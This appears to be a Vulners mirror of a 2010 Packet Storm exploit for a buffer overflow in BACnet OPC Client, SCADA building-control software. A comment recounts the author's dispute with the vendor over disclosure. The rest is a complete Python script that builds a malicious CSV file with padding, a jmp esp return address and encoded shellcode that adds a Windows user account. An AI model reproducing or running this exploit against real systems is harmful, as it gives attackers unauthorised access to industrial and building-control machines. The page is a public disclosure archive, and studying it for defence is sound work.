Lucene search
K

BACnet OPC Client Buffer Overflow

🗓️ 17 Sep 2010 00:00:00Reported by Jeremy BrownType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

BACnet OPC Client Buffer Overflow exploit with details of communication with the vendor and suggested fi

Code
`#!/usr/bin/python  
# bacnet.py  
# BACnet OPC Client Buffer Overflow Exploit  
# Jeremy Brown [0xjbrown41-gmail-com]  
# Sept 2010  
#   
# After communicating via several emails with the vendor, sharing details  
# about the vulnerability, as well as proof-of-concept code (I also offered  
# to send the exploit code for them to test themselves). But it was clear that  
# they weren't very interested in fixing the vulnerability. They even ended our  
# conversation with "Hi Jeremy, thanks but please don't waste my time.", and  
# quickly became unresponsive to further communication. A couple days later, I  
# notified them know of my plans to release exploit code to the public, proving  
# the vulnerability, since they weren't planning on releasing a fix. They didn't  
# respond with anything indicating plans for an update, so maybe this will help.  
#  
# If you are a customer (they seem to care much more about your concerns), I would  
# suggest contacting support at scadaengine.com and ask them to issue a fix.  
#  
# Successfully tested on Windows XP Service Pack 3 with BACnet OPC CLient 1.0.24  
#  
  
import sys  
import struct  
  
ret=0x7C96BF33 # jmp esp @ user32.dll  
  
junk="B"*185  
  
# win32_adduser - PASS=ware EXITFUNC=thread USER=sploit Size=497 Encoder=PexAlphaNum  
payload=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"  
"\x42\x30\x42\x50\x42\x50\x4b\x48\x45\x44\x4e\x53\x4b\x58\x4e\x37"  
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x51\x4b\x58"  
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x38"  
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x57\x45\x4e\x4b\x58"  
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"  
"\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x43"  
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x57"  
"\x4e\x30\x4b\x58\x42\x54\x4e\x30\x4b\x58\x42\x47\x4e\x31\x4d\x4a"  
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"  
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x36\x4e\x43\x4f\x55\x41\x43"  
"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"  
"\x42\x35\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x36\x4a\x46\x4a\x49"  
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x4d\x36"  
"\x46\x56\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x32\x4f\x42\x43\x56"  
"\x42\x42\x50\x36\x45\x36\x46\x57\x42\x52\x45\x57\x43\x47\x45\x36"  
"\x44\x37\x42\x32\x43\x47\x42\x57\x4e\x36\x4f\x46\x49\x36\x46\x57"  
"\x42\x32\x47\x37\x41\x46\x44\x57\x45\x46\x42\x42\x4f\x42\x41\x34"  
"\x46\x34\x46\x44\x42\x32\x48\x42\x48\x42\x42\x52\x50\x36\x45\x56"  
"\x46\x47\x42\x42\x4e\x46\x4f\x56\x43\x46\x41\x36\x4e\x56\x47\x56"  
"\x44\x47\x4f\x36\x45\x47\x42\x37\x42\x42\x41\x54\x46\x56\x4d\x36"  
"\x49\x46\x50\x56\x49\x36\x43\x47\x46\x47\x44\x57\x41\x56\x46\x57"  
"\x4f\x46\x44\x47\x43\x37\x42\x42\x43\x47\x42\x47\x4e\x46\x4f\x36"  
"\x49\x46\x46\x47\x42\x32\x4f\x32\x41\x34\x46\x34\x46\x34\x42\x50"  
"\x5a"  
)  
  
csv1="OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";  
csv2="\\scada,0,0,\n";  
  
if len(sys.argv)<2:  
print "Usage: "+sys.argv[0]+" <filename.csv>"  
sys.exit(0)  
  
  
file=sys.argv[1]  
  
retaddr=struct.pack("<L",ret)  
  
csv=csv1+junk+retaddr+"X"*4+payload+csv2  
  
try:  
f=open(file,"w")  
f.write(csv)  
f.close()  
  
except IOError,e:  
print e  
  
else:  
print "Open %s in the OPC client to exploit the vulnerability." % file  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation